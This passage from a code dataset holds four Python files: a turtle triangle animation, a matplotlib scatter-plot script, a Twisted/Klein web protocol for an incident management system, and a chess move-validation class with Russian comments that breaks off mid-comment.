+{"seq_id":"443007338","text":"# 在这里写上你的代码 :-)\nimport turtle\nimport math\n\nk=1\n\ndef Trgl(x,y):\n turtle.pu()\n turtle.goto(x,y)\n turtle.pd()\n #global k\n turtle.lt(k/5) #旋转(角度制)\n turtle.fillcolor(\"#\"+hex(0x100000+(x*y)% 0xEFFFFF)[2:]) #填充色\n turtle.begin_fill() #开始填充\n turtle.circle(60-k%50, steps=3)\n turtle.end_fill() #结束填充\n\n\ndef Draw():\n turtle.ht() #隐藏乌龟\n turtle.tracer(False) #快速直接画\n global k\n #指定区间逐一画图:\n turtle.clear()\n for q in range(-350,350,5):\n x=300*math.cos(q/100)*math.sin(k/29)\n y=300*math.sin(q/100)*math.cos(k/97)\n Trgl((int)(x),(int)(y))\n turtle.update()\n k+=.1\n if k>999:\n return\n turtle.ontimer(Draw(), 50)\n\nDraw()\n","sub_path":"turtle_N个实心三角形`花样变形动画1.py","file_name":"turtle_N个实心三角形`花样变形动画1.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"125160757","text":"import matplotlib.pyplot as myplot\nimport random\nimport numpy as np\nx=[]\ny=[]\n\nfor i in range(100):\n x.insert(0, random.randint(1,1000))\n y.insert(0, random.randint(1,1000))\n \nmyplot.scatter(x,y)\nmyplot.plot(x,y,'r')\nmyplot.title(\"Plot with Random Values\")\nmyplot.xlabel(\"x-axis\")\nmyplot.ylabel(\"y-axis\")\nmyplot.savefig(\"matplotlib01-scatter\")\nmyplot.show()\nk=np.arange(10)\nl=np.random.uniform(0,10,(8,8))\nprint(l)\nmyplot.imshow(l)\n#l=np.random.uniform(0,10,10)\n#myplot.bar(k,l)\nmyplot.counter(l)\nmyplot.savefig(\"matplotlib01-bar\")\nmyplot.show()\n\n","sub_path":"matplotlib01.py","file_name":"matplotlib01.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"418804591","text":"##\n# See the file COPYRIGHT for copyright information.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##\n\n\"\"\"\nProtocol bits\n\"\"\"\n\n__all__ = [\n \"IncidentManagementSystem\",\n]\n\nfrom twisted.python import log\nfrom twisted.python.zippath import ZipArchive\nfrom twisted.internet.defer import Deferred, succeed\nfrom twisted.web import http\nfrom twisted.web.static import File\n\nfrom klein import Klein\n\nfrom .json import JSON, json_as_text, json_from_file\nfrom .json import (\n ranger_as_json, location_as_json, incident_as_json, incident_from_json\n)\nfrom .edit import edit_incident\nfrom .sauce import url_for, set_response_header\nfrom .sauce import http_sauce\nfrom .sauce import HeaderName, ContentType\nfrom .element.file import FileElement\nfrom .element.home import HomePageElement\nfrom .element.queue import DispatchQueueElement\nfrom .element.incident import IncidentElement\nfrom .element.report_daily import DailyReportElement\n# from .element.report_shift import ShiftReportElement\nfrom .element.util import (\n terms_from_query, show_closed_from_query, since_from_query,\n edits_from_query,\n)\nfrom .util import http_download\n\n\n\nclass IncidentManagementSystem(object):\n \"\"\"\n Incident Management System\n \"\"\"\n app = Klein()\n\n # protocol_version = \"0.0\"\n\n\n def __init__(self, config):\n self.config = config\n self.avatarId = None\n self.storage = config.storage\n self.dms = config.dms\n\n\n @property\n def user(self):\n if self.avatarId is None:\n raise RuntimeError(\"No avatar ID?\")\n return self.avatarId.decode(\"utf-8\")\n\n #\n # JSON endpoints\n #\n\n @staticmethod\n def read_only(request):\n set_response_header(\n request, HeaderName.contentType, ContentType.plain\n )\n request.setResponseCode(http.FORBIDDEN)\n return b\"Server is in read-only mode.\"\n\n\n @staticmethod\n def add_headers(data, request, status=http.OK):\n entity, etag = [unicode(x).encode(\"utf-8\") for x in data]\n\n if etag is not None:\n set_response_header(\n request, HeaderName.etag, etag\n )\n\n set_response_header(\n request, HeaderName.contentType, ContentType.JSON\n )\n\n request.setResponseCode(status)\n\n return entity\n\n\n @app.route(\"/logout\", methods=(\"GET\",))\n @http_sauce\n def logout(self, request):\n def redirect(entity):\n urlPath = request.URLPath()\n url = \"{url.scheme}://:logout@{url.netloc}/\".format(\n url=urlPath\n )\n set_response_header(\n request, HeaderName.location, url\n )\n return entity\n\n d = self.data_logout()\n d.addCallback(\n self.add_headers, request=request, status=http.TEMPORARY_REDIRECT\n )\n d.addCallback(redirect)\n return d\n\n\n def data_logout(self):\n ack = b\"bye!\"\n return succeed((json_as_text(ack), hash(ack)))\n\n\n @app.route(\"/ping\", methods=(\"GET\",))\n @app.route(\"/ping/\", methods=(\"GET\",))\n @http_sauce\n def ping(self, request):\n d = self.data_ping()\n d.addCallback(self.add_headers, request=request)\n return d\n\n\n def data_ping(self):\n ack = b\"ack\"\n return succeed((json_as_text(ack), hash(ack)))\n\n\n @app.route(\"/rangers\", methods=(\"GET\",))\n @app.route(\"/rangers/\", methods=(\"GET\",))\n @app.route(\"/personnel\", methods=(\"GET\",))\n @app.route(\"/personnel/\", methods=(\"GET\",))\n @http_sauce\n def list_personnel(self, request):\n d = self.data_personnel()\n d.addCallback(self.add_headers, request=request)\n return d\n\n\n def data_personnel(self):\n def gotPersonnel(personnel):\n return (\n json_as_text([\n ranger_as_json(ranger)\n for ranger in personnel\n ]),\n hash(personnel)\n )\n\n d = self.dms.personnel()\n d.addCallback(gotPersonnel)\n return d\n\n\n @app.route(\"/incident_types\", methods=(\"GET\",))\n @app.route(\"/incident_types/\", methods=(\"GET\",))\n @http_sauce\n def list_incident_types(self, request):\n d = self.data_incident_types()\n d.addCallback(self.add_headers, request=request)\n return d\n\n\n def data_incident_types(self):\n return succeed((\n self.config.IncidentTypesJSON,\n hash(self.config.IncidentTypesJSON)\n ))\n\n\n @app.route(\"/locations\", methods=(\"GET\",))\n @app.route(\"/locations/\", methods=(\"GET\",))\n @http_sauce\n def list_locations(self, request):\n d = self.data_locations()\n d.addCallback(self.add_headers, request=request)\n return d\n\n\n def data_locations(self):\n locations = self.storage.locations()\n return succeed((\n [location_as_json(location) for location in locations],\n hash(locations)\n ))\n\n\n @app.route(\"/incidents\", methods=(\"GET\",))\n @app.route(\"/incidents/\", methods=(\"GET\",))\n @http_sauce\n def list_incidents(self, request):\n if request.args:\n incidents = self.storage.search_incidents(\n terms=terms_from_query(request),\n show_closed=show_closed_from_query(request),\n since=since_from_query(request),\n )\n else:\n incidents = self.storage.list_incidents()\n\n d = self.data_incidents(incidents)\n d.addCallback(self.add_headers, request=request)\n return d\n\n\n def data_incidents(self, incidents):\n return succeed((\n json_as_text(sorted(\n incidents,\n cmp=lambda a, b: cmp(a[0], b[0]), reverse=True,\n )),\n None\n ))\n\n\n @app.route(\"/incidents/\", methods=(\"GET\",))\n @http_sauce\n def get_incident(self, request, number):\n # # For simulating slow connections\n # import time\n # time.sleep(0.3)\n\n number = int(number)\n\n d = self.data_incident(number)\n d.addCallback(self.add_headers, request=request)\n return d\n\n\n def data_incident(self, number):\n if False:\n #\n # This is faster, but doesn't benefit from any cleanup or\n # validation code, so it's only OK if we know all data in the\n # store is clean by this server version's standards.\n #\n entity = self.storage.read_incident_with_number_raw(number)\n else:\n #\n # This parses the data from the store, validates it, then\n # re-serializes it.\n #\n incident = self.storage.read_incident_with_number(number)\n entity = json_as_text(incident_as_json(incident))\n\n etag = self.storage.etag_for_incident_with_number(number)\n\n return succeed((entity, etag))\n\n\n @app.route(\"/incidents/\", methods=(\"POST\",))\n @http_sauce\n def edit_incident(self, request, number):\n if self.config.ReadOnly:\n return self.read_only(request)\n\n number = int(number)\n\n d = self.data_incident_edit(number, request.content, self.user)\n d.addCallback(self.add_headers, request=request)\n return d\n\n\n def data_incident_edit(self, number, edits_file, author):\n incident = self.storage.read_incident_with_number(number)\n\n #\n # Apply the changes requested by the client\n #\n edits_json = json_from_file(edits_file)\n edits = incident_from_json(edits_json, number=number, validate=False)\n edited = edit_incident(incident, edits, author)\n\n #\n # Write to disk\n #\n self.storage.write_incident(edited)\n\n log.msg(\n u\"User {} edited incident #{} via JSON\"\n .format(author, number)\n )\n if self.config.Debug:\n log.msg(u\"Original: {}\".format(incident_as_json(incident)))\n log.msg(u\"Changes: {}\".format(edits_json))\n log.msg(u\"Edited: {}\".format(incident_as_json(edited)))\n\n return succeed((u\"\", None))\n\n\n @app.route(\"/incidents\", methods=(\"POST\",))\n @app.route(\"/incidents/\", methods=(\"POST\",))\n @http_sauce\n def new_incident(self, request):\n if self.config.ReadOnly:\n return self.read_only(request)\n\n number = self.storage.next_incident_number()\n\n def add_location_headers(response):\n request.setHeader(HeaderName.incidentNumber.value, number)\n request.setHeader(\n HeaderName.location.value,\n url_for(request, \"get_incident\", {\"number\": number})\n )\n\n return response\n\n d = self.data_incident_new(number, request.content, self.user)\n d.addCallback(self.add_headers, request=request, status=http.CREATED)\n d.addCallback(add_location_headers)\n return d\n\n\n def data_incident_new(self, number, json_file, author):\n json = json_from_file(json_file)\n incident = incident_from_json(json, number=number)\n\n # Edit report entrys to add author\n for entry in incident.report_entries:\n entry.author = author\n\n self.storage.write_incident(incident)\n\n log.msg(\n u\"User {} created new incident #{} via JSON\"\n .format(author, number)\n )\n if self.config.Debug:\n log.msg(u\"New: {}\".format(incident_as_json(incident)))\n\n return succeed((u\"\", None))\n\n\n # #\n # # Web UI\n # #\n\n @app.route(\"/queue\", methods=(\"GET\",))\n @app.route(\"/queue/\", methods=(\"GET\",))\n @http_sauce\n def dispatchQueue(self, request):\n if not request.args:\n request.args[\"show_closed\"] = [\"false\"]\n\n set_response_header(\n request, HeaderName.contentType, ContentType.HTML\n )\n return DispatchQueueElement(self)\n\n\n @app.route(\"/queue/incidents/\", methods=(\"GET\",))\n @http_sauce\n def queue_incident(self, request, number):\n set_response_header(\n request, HeaderName.contentType, ContentType.HTML\n )\n number = int(number)\n author = self.user\n\n edits = edits_from_query(author, number, request)\n\n if edits:\n incident = self.storage.read_incident_with_number(number)\n edited = edit_incident(incident, edits, author)\n\n log.msg(\n u\"User {} edited incident #{} via web\"\n .format(author, number)\n )\n if self.config.Debug:\n log.msg(u\"Original: {}\".format(incident_as_json(incident)))\n log.msg(u\"Changes: {}\".format(incident_as_json(edits)))\n log.msg(u\"Edited: {}\".format(incident_as_json(edited)))\n\n self.storage.write_incident(edited)\n\n return IncidentElement(self, number)\n\n\n #\n # Static resources\n #\n\n @app.route(\"/resources\", methods=(\"GET\",))\n @app.route(\"/resources/\", methods=(\"GET\",), branch=True)\n @http_sauce\n def favicon(self, request):\n return File(self.config.Resources.path)\n\n\n #\n # Documentation\n #\n\n @app.route(\"/\", methods=(\"GET\",))\n @http_sauce\n def root(self, request):\n set_response_header(\n request, HeaderName.contentType, ContentType.HTML\n )\n return HomePageElement(self)\n\n\n @app.route(\"/docs\", methods=(\"GET\",))\n @app.route(\"/docs/\", methods=(\"GET\",))\n @http_sauce\n def doc_index(self, request):\n return self.doc_with_name(request, \"index.xhtml\")\n\n\n @app.route(\"/docs/\", methods=(\"GET\",))\n @http_sauce\n def doc_with_name(self, request, name):\n filePath = self.config.Resources.child(\"docs\").child(name)\n\n if filePath.exists():\n if name.endswith(\".xhtml\"):\n set_response_header(\n request, HeaderName.contentType, ContentType.HTML\n )\n return FileElement(filePath)\n\n request.setResponseCode(http.NOT_FOUND)\n set_response_header(\n request, HeaderName.contentType, ContentType.plain\n )\n return b\"Not found.\"\n\n\n # #\n # # Reports\n # #\n\n @app.route(\"/reports/daily\", methods=(\"GET\",))\n @http_sauce\n def daily_report(self, request):\n set_response_header(\n request, HeaderName.contentType, ContentType.HTML\n )\n return DailyReportElement(self)\n\n\n # @app.route(\"/charts/daily\", methods=(\"GET\",))\n # @http_sauce\n # def daily_chart(self, request):\n # set_response_header(\n # request, HeaderName.contentType, ContentType.HTML\n # )\n # return DailyReportElement(self, template_name=\"chart_daily\")\n\n\n # @app.route(\"/reports/shift\", methods=(\"GET\",))\n # @http_sauce\n # def shift_report(self, request):\n # set_response_header(\n # request, HeaderName.contentType, ContentType.HTML\n # )\n # return ShiftReportElement(self)\n\n\n #\n # Links\n #\n\n @app.route(\"/links\", methods=(\"GET\",))\n @app.route(\"/links/\", methods=(\"GET\",))\n @http_sauce\n def links(self, request):\n #set_response_header(request, HeaderName.etag, ????)\n set_response_header(request, HeaderName.contentType, ContentType.JSON)\n return json_as_text([\n {JSON.page_url.value: name, JSON.page_url.value: value}\n for name, value in (\n (\"Home page\", \"/\"),\n (\"Dispatch Queue\", \"/queue\"),\n (\"Daily Incident Summary (Table)\", \"/reports/daily\"),\n (\"Daily Incident Summary (Chart)\", \"/charts/daily\"),\n )\n ])\n\n\n #\n # Baseline\n #\n\n @app.route(\"/baseline//\", methods=(\"GET\",))\n @http_sauce\n def baseline(self, request, container, name):\n # See http://baselinecss.com/\n return self.cachedZipResource(\n request=request,\n name=\"baseline\",\n url=\"http://baselinecss.com/download/baseline.zip\",\n segments=(\"baseline.0.5.3\", \"css\", container, name)\n )\n\n\n #\n # JQuery resources\n #\n\n @app.route(\"/jquery.js\", methods=(\"GET\",))\n @http_sauce\n def jquery(self, request):\n version = \"jquery-2.1.1.min.js\"\n url = \"http://code.jquery.com/\" + version\n return self.cachedResource(version, url)\n\n\n @app.route(\"/jquery-2.1.1.min.map\", methods=(\"GET\",))\n @http_sauce\n def jquery_map(self, request):\n name = \"jquery-2.1.1.min.map\"\n url = \"http://code.jquery.com/\" + name\n return self.cachedResource(name, url)\n\n\n @app.route(\"/jquery-ui.js\", methods=(\"GET\",))\n @http_sauce\n def jquery_ui(self, request):\n name = \"jquery-ui-1.11.0\"\n return self.cachedZipResource(\n request=request,\n name=name,\n url=\"http://jqueryui.com/resources/download/{}.zip\".format(name),\n segments=(name, \"jquery-ui.js\")\n )\n\n\n @app.route(\"/jquery-ui-theme/images/\", methods=(\"GET\",))\n @http_sauce\n def jquery_ui_theme_image(self, request, image):\n which = \"jquery-ui-themes-1.11.0\"\n theme = \"blitzer\"\n return self.cachedZipResource(\n request=request,\n name=which,\n url=\"http://jqueryui.com/resources/download/{}.zip\".format(which),\n segments=(which, \"themes\", theme, \"images\", image)\n )\n\n\n @app.route(\"/jquery-ui-theme/\", methods=(\"GET\",))\n @http_sauce\n def jquery_ui_theme(self, request):\n which = \"jquery-ui-themes-1.11.0\"\n theme = \"blitzer\"\n return self.cachedZipResource(\n request=request,\n name=which,\n url=\"http://jqueryui.com/resources/download/{}.zip\".format(which),\n segments=(which, \"themes\", theme, \"jquery-ui.min.css\")\n )\n\n\n # _tidy_base_url = \"https://raw.github.com/nuxy/Tidy-Table/v1.7/\"\n _tidy_base_url = \"https://raw.githubusercontent.com/nuxy/Tidy-Table/v1.7/\"\n\n\n @app.route(\"/tidy.js\", methods=(\"GET\",))\n @http_sauce\n def tidy(self, request):\n name = \"tidy.js\"\n url = self._tidy_base_url + \"jquery.tidy.table.min.js\"\n return self.cachedResource(name, url)\n\n\n @app.route(\"/tidy.css\", methods=(\"GET\",))\n @http_sauce\n def tidy_css(self, request):\n name = \"tidy.css\"\n url = self._tidy_base_url + \"jquery.tidy.table.min.css\"\n return self.cachedResource(name, url)\n\n\n @app.route(\"/images/arrow_asc.gif\", methods=(\"GET\",))\n @http_sauce\n def tidy_asc(self, request):\n name = \"tidy-asc.gif\"\n url = self._tidy_base_url + \"images/arrow_asc.gif\"\n return self.cachedResource(name, url)\n\n\n @app.route(\"/images/arrow_desc.gif\", methods=(\"GET\",))\n @http_sauce\n def tidy_desc(self, request):\n name = \"tidy-desc.gif\"\n url = self._tidy_base_url + \"images/arrow_desc.gif\"\n return self.cachedResource(name, url)\n\n\n #\n # Flot\n #\n\n # @app.route(\"/flot/\", methods=(\"GET\",))\n # @http_sauce\n # def flot(self, request, name):\n # # See http://www.flotcharts.org/\n # which = \"flot-0.8.1\"\n # return self.cachedZipResource(\n # request=request,\n # name=which,\n # url=\"http://www.flotcharts.org/downloads/{0}.zip\".format(which),\n # segments=(\"flot\", name)\n # )\n\n\n #\n # Utilities\n #\n\n def cachedResource(self, name, url):\n filePath = self.config.CachedResources.child(name)\n\n if filePath.exists():\n return File(filePath.path)\n\n d = http_download(filePath, url)\n d.addCallback(lambda _: File(filePath.path))\n return d\n\n\n def cachedZipResource(self, request, name, url, segments):\n archivePath = self.config.CachedResources.child(\"{0}.zip\".format(name))\n\n if archivePath.exists():\n d = Deferred()\n d.callback(None)\n else:\n d = http_download(archivePath, url)\n\n def readFromArchive(_):\n filePath = ZipArchive(archivePath.path)\n for segment in segments:\n filePath = filePath.child(segment)\n return filePath.getContent()\n\n def notFoundHandler(f):\n f.trap(KeyError)\n request.setResponseCode(http.NOT_FOUND)\n set_response_header(\n request, HeaderName.contentType, ContentType.plain\n )\n return b\"Not found.\"\n\n d.addCallback(readFromArchive)\n d.addErrback(notFoundHandler)\n return d\n","sub_path":"ims/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":19062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"466517109","text":"def opponent(color):\n \"\"\"Возвращает цвет противника.\"\"\"\n if color == WHITE:\n return BLACK\n else:\n return WHITE\n\n\ndef correct_coords(row, col):\n \"\"\"Функция проверяет, что координаты (row, col) лежат\n внутри доски\"\"\"\n return 0 <= row < 8 and 0 <= col < 8\n\n\ndef move_direction(row, col, row1, col1):\n \"\"\"Функция возвращает кортеж, описывающий направление движения\n из клетки (row, col) в клетку (row1, col1) по горизонтали и по вертикали.\n '+' - движение вверх/вправо. '-' - движение вниз/влево. '0' - движения не было.\"\"\"\n # Движение по вертикали\n if row - row1 > 0:\n i = '-'\n elif row - row1 < 0:\n i = '+'\n else:\n i = '0'\n\n # Движение по горизонтали\n if col - col1 > 0:\n j = '-'\n elif col - col1 < 0:\n j = '+'\n else:\n j = '0'\n\n return i, j\n\n\nclass Board:\n def __init__(self):\n self.color = WHITE\n self.field = []\n\n for row in range(8):\n self.field.append([None] * 8)\n\n figures = [Rook, Knight, Bishop, Queen, King, Bishop, Knight, Rook] # Порядок фигур\n\n for j in range(8):\n self.field[7][j] = figures[j](BLACK) # Расставляем фигуры\n self.field[0][j] = figures[j](WHITE)\n self.field[6][j] = Pawn(BLACK) # Расставляем пешки\n self.field[1][j] = Pawn(WHITE)\n\n self.is_check = False # Атрибут для отслеживания шаха\n\n # Координаты королей\n self.black_king_coords = 7, 4\n self.white_king_coords = 0, 4\n\n # Атрибут для отслеживания возможности взятия на проходе\n self.long_pawn_move = False\n\n # Атрибут содержит координаты клетки через которую возможно взятие на проходе\n # Если взятие на подходе невозможно, атрибут равен None\n self.en_passant = None\n\n # Если король находится под атакой,\n # список содержит кортежи, каждый из которых описывает напрвление от атакующей фигуры до короля\n self.attack_direction = []\n\n self.double_attack = False # Если королю ургожают две фигуры противника, атрибут равет True\n\n def current_player_color(self):\n return self.color\n\n def opponent_color(self):\n return opponent(self.color)\n\n def end_turn(self):\n \"\"\"Метод конца хода.\"\"\"\n if self.long_pawn_move:\n self.long_pawn_move = False\n else:\n # Если пешка не двигалась на 2 клетки, перес��аем отслеживать взятие на подходе\n self.en_passant = None\n\n # Перестаём отслеживать шах\n self.is_check = False\n self.attack_direction = []\n self.double_attack = False\n\n # Передаем ход другому игроку\n self.color = opponent(self.color)\n\n def try_move(self, row, col, row1, col1):\n \"\"\"Метод проверяет, можно ли переместить фигуру из клетки (row, col) в клетку (row1, col1).\n Если перемещение возможно, вернёт True.\n Если нет --- вернёт строку, содержащую причину, по которой переместить фигуру нельзя\"\"\"\n\n if row == row1 and col == col1:\n return False\n\n piece = self.field[row][col]\n\n if piece is None:\n return False\n if piece.get_color() != self.color:\n return False\n\n if isinstance(piece, Pawn) and (row1, col1) == self.en_passant:\n return piece.can_attack(self, row, col, row1, col1)\n\n if isinstance(piece, King):\n if row1 == (self.color - 1) * 7:\n if col1 == 2 and self.try_castling0():\n return True\n if col1 == 6 and self.try_castling7():\n return True\n\n other_king_row, other_king_col = self.get_opponent_king_coords()\n\n if abs(row1 - other_king_row) == 1 and \\\n abs(col1 - other_king_col) == 1:\n return False\n elif self.under_attack(row1, col1, self.opponent_color(), False):\n return False\n\n # Если король пойдёт вдоль линии атаки, он не сможет убраться из под шаха\n elif move_direction(row, col, row1, col1) in self.attack_direction:\n return False\n\n # Нельзя атаковать фигуру своего цвета\n elif not piece.can_move(self, row, col, row1, col1) \\\n or self.field[row1][col1] and self.field[row1][col1].get_color() == self.current_player_color():\n return False\n\n elif self.field[row1][col1] is None and not piece.can_move(self, row, col, row1, col1):\n return False\n\n # Нельзя атаковать фигуру своего цвета\n elif self.field[row1][col1] and (self.field[row1][col1].get_color() == piece.get_color() or\n not piece.can_attack(self, row, col, row1, col1)):\n return False\n\n # Защитится от шаха можно поставив фигуру в клетку, через которую король может быть атакован\n # Если королю угрожают сразу две фигуры, защититься от шаха таким образом не получиться\n elif self.is_check and not self.king_can_be_attacked(row1, col1) or self.double_attack:\n return False\n\n # Если фигура закрывает короля от атаки вражеской фигуры,\n # она может передвигаться только вдоль линии атаки этой фигуры.\n # В другом случае, передвинувшись она подставит короля под шах.\n # Конь не может ходить вдоль одной линии,\n # поэтому вообще не может сдвинуться когда защищает короля\n elif self.king_can_be_attacked(row, col) and \\\n (move_direction(row, col, row1, col1) != move_direction(*self.get_current_king_coords(), row, col)\n and move_direction(row, col, row1, col1) != move_direction(row, col, *self.get_current_king_coords())\n or isinstance(piece, Knight)):\n return False\n\n return True\n\n def move_options(self, row, col):\n \"\"\"Метод возвращает список клеток,\n в которые может пойти фигура, стоящая в клетке (row, col).\"\"\"\n cells = []\n\n for i in range(8):\n for j in range(8):\n if self.try_move(row, col, i, j):\n cells.append((i, j))\n\n return cells\n\n def move_piece(self, row, col, row1, col1):\n \"\"\"Переместить фигуру из клетки (row, col) в клетку (row1, col1).\"\"\"\n piece = self.field[row][col]\n\n # Взятие на проходе\n if isinstance(piece, Pawn):\n if (row1, col1) == self.en_passant:\n self.field[row][col1] = None\n elif abs(row - row1) == 2:\n direction = 1 if row1 > row else -1\n self.en_passant = (row + direction, col)\n self.long_pawn_move = True\n\n # Отмечаем, что король или ладья передвинулась, для отслеживания рокировки\n if isinstance(piece, Rook) or isinstance(piece, King):\n piece.already_moved()\n\n # Меняем атрибут для отслеживания координат короля\n if isinstance(piece, King):\n if piece.get_color() == WHITE:\n self.white_king_coords = row1, col1\n else:\n self.black_king_coords = row1, col1\n\n # Рокировка\n if col1 - col == -2:\n return self.castling0()\n if col1 - col == 2:\n return self.castling7()\n\n self.field[row][col] = None # Снять фигуру\n self.field[row1][col1] = piece # Поставить на новое место.\n self.end_turn()\n\n def try_promote_pawn(self, row, col, row1, col1):\n \"\"\"Метод проверяет, является ли ход из клетки (row, col)\n в клетку (row1, col1) превращением пешки.\"\"\"\n if not isinstance(self.field[row][col], Pawn):\n return False\n\n # Проверяем, двигается ли пешка на последний ряд\n if self.current_player_color() == WHITE and row1 == 7 or self.current_player_color() == BLACK and row1 == 0:\n\n # Пешка либо движется по прямой, либо атакует по диагонали\n can_make_turn = self.field[row][col].can_move(self, row, col, row1, col1) and \\\n self.field[row1][col1] is None or \\\n self.field[row][col].can_attack(self, row, col, row1, col1) and \\\n self.field[row1][col1] and self.field[row1][col1].get_color() == self.opponent_color()\n if can_make_turn:\n return True\n return False\n\n def move_and_promote_pawn(self, row, col, row1, col1, figure):\n \"\"\"Метод перемещает фигуру из клетки (row, col) в клетку (row1, col1),\n после этого превращает её в фигуру figure.\"\"\"\n\n # Создаём фигуру того же цвета, что и пешка\n self.field[row1][col1] = figure(self.field[row][col].get_color())\n self.field[row][col] = None # Убираем исходную фигуру\n\n self.end_turn()\n\n def try_castling0(self):\n \"\"\"Метод проверяет, может ли текущий игрок совершить длинную рокировку.\"\"\"\n\n if self.color == WHITE:\n row = 0\n else:\n row = 7\n\n if self.field[row][1:4] != [None, None, None]: # Между ладьёй и королём не должны стоять другие фигуры\n return False\n\n if not (isinstance(self.field[row][0], Rook) and # Проверяем, что король и ладья стоят на своих местах\n isinstance(self.field[row][4], King)):\n return False\n\n if self.field[row][0].move_status() or \\\n self.field[row][4].move_status(): # Король и ладья не должны двигаться до рокировки\n return False\n\n # Король и поле в которое он передвинется не должны находится под атакой\n if self.under_attack(row, 4, self.opponent_color(), False) or \\\n self.under_attack(row, 2, self.opponent_color(), False):\n return False\n\n return True\n\n def castling0(self):\n \"\"\"Длинная рокировка.\"\"\"\n if self.color == WHITE:\n row = 0\n else:\n row = 7\n\n # Отмечаем, что король иладья уже совершили рокировку\n self.field[row][4].already_moved()\n self.field[row][0].already_moved()\n\n # Двигаем фигуры\n self.field[row][2] = self.field[row][4]\n self.field[row][3] = self.field[row][0]\n\n self.field[row][4] = None\n self.field[row][0] = None\n\n # Меняем атрибут для отслеживания короля\n if self.current_player_color() == WHITE:\n self.white_king_coords = row, 2\n else:\n self.black_king_coords = row, 2\n\n self.end_turn()\n\n def try_castling7(self):\n \"\"\"Метод проверяет, может ли текущий игрок совершить короткую рокировку.\"\"\"\n if self.color == WHITE:\n row = 0\n else:\n row = 7\n\n if self.field[row][5:7] != [None, None]:\n return False\n if not (isinstance(self.field[row][7], Rook) and\n isinstance(self.field[row][4], King)):\n return False\n if self.field[row][7].move_status() or \\\n self.field[row][4].move_status():\n return False\n if self.under_attack(row, 4, self.opponent_color(), False) or \\\n self.under_attack(row, 6, self.opponent_color(), False):\n return False\n\n return True\n\n def castling7(self):\n \"\"\"Короткая рокировка.\"\"\"\n if self.color == WHITE:\n row = 0\n else:\n row = 7\n\n self.field[row][4].already_moved()\n self.field[row][7].already_moved()\n self.field[row][6] = self.field[row][4]\n self.field[row][5] = self.field[row][7]\n self.field[row][4] = None\n self.field[row][7] = None\n if self.current_player_color() == WHITE:\n self.white_king_coords = row, 6\n else:\n self.black_king_coords = row, 6\n self.end_turn()\n\n def under_attack(self, row, col, color, ignore_figure):\n \"\"\"Метод проверяет находится ли клетка (row, col) под атакой фигуры цвета color.\n Если ignore_figure содержит кортеж из инексов шахматной клетки, фигура,\n стоящая в этой клетке игнорируется.\"\"\"\n for i in range(8):\n for j in range(8):\n if (i, j) == ignore_figure:\n continue\n if self.field[i][j]:\n piece = self.field[i][j]\n if (i != row or j != col) and piece.get_color() == color and \\\n piece.can_attack(self, i, j, row, col):\n return True\n return False\n\n def can_be_occupied(self, row, col, color, ignore_figure):\n \"\"\"Метод проверяет может ли клетка (row, col) быть знаята фигурой цвета color.\n Если ignore_figure содержит кортеж из инексов шахматной клетки, фигура,\n стоящая в этой клетке игнорируется.\"\"\"\n for i in range(8):\n for j in range(8):\n if (i, j) == ignore_figure:\n continue\n if self.field[i][j]:\n piece = self.field[i][j]\n if (i != row or j != col) and piece.get_color() == color and \\\n piece.can_move(self, i, j, row, col):\n return True\n return False\n\n def get_current_king_coords(self):\n \"\"\"Возвращает кортеж с координатами короля текущего игрока.\"\"\"\n if self.current_player_color() == WHITE:\n return self.white_king_coords[0], self.white_king_coords[1]\n else:\n return self.black_king_coords[0], self.black_king_coords[1]\n\n def get_opponent_king_coords(self):\n \"\"\"Возвращает кортеж с координатами короля противника текущего игрока.\"\"\"\n if opponent(self.current_player_color()) == WHITE:\n return self.white_king_coords[0], self.white_king_coords[1]\n else:\n return self.black_king_coords[0], self.black_king_coords[1]\n\n def king_escapes_attack(self):\n \"\"\"Метод проверяет, может ли король текущего игрока уйти\n из под боя фигуры противника.\"\"\"\n row_king, col_king = self.get_current_king_coords()\n\n # Перебераем соседние клетки.\n # Король может передвинуться в клетку если она не находится под атакой противника,\n # не занята фигурой того же цвета что и король и не находится на линнии атаки фигуры противника.\n free_squares = (any((not (self.under_attack(row_king + i, col_king + j, self.opponent_color(), False) or\n (self.field[row_king + i][col_king + j] is not None and\n self.field[row_king + i][col_king + j].get_color() == self.current_player_color()) or\n move_direction(row_king, col_king, row_king + i,\n col_king - j) in self.attack_direction))\n for j in range(-1, 2)\n if (i != 0 or j != 0) and correct_coords(row_king + i, col_king + j))\n for i in range(-1, 2))\n if any(free_squares):\n return True\n else:\n return False\n\n def check_and_mate(self, row, col):\n \"\"\"Метод проверяет может ли фигура в клетке (row, col) поставить шах или мат\n королю текущего игрока и возвращает CHECK или MATE соответственно.\n Если шах или мат поставить невозможно, возвращает None.\"\"\"\n row_king, col_king = self.get_current_king_coords()\n\n # Если фигура противника может атаковать короля, она ставит ему шах\n if self.field[row][col].can_attack(self, row, col, row_king, col_king):\n self.is_check = True\n\n step_i = 0\n step_j = 0\n\n if row > row_king:\n step_i = -1\n elif row < row_king:\n step_i = 1\n\n if col > col_king:\n step_j = -1\n elif col < col_king:\n step_j = 1\n\n # Формируем список клеток, через которые фигура противника ставит королю шах\n if row == row_king:\n way_to_king = [(row, j) for j in range(col + step_j, col_king, step_j)]\n elif col == col_king:\n way_to_king = [(i, col) for i in range(row + step_i, row_king, step_i)]\n else:\n way_to_king = [i for i in zip(range(row + step_i, row_king, step_i),\n range(col + step_j, col_king, step_j))]\n\n # Если шах ставит не конь, запоминаем направление атаки\n if not isinstance(self.field[row][col], Knight):\n self.attack_direction.append(move_direction(row, col, row_king, col_king))\n\n # Король находится под атакой ещё одной фигуры\n if self.under_attack(row_king, col_king, self.opponent_color(), (row, col)):\n self.double_attack = True\n\n # Защитить короля от шаха можно атаковав фигуру, которая поставила королю шах, или закрыв ей путь к 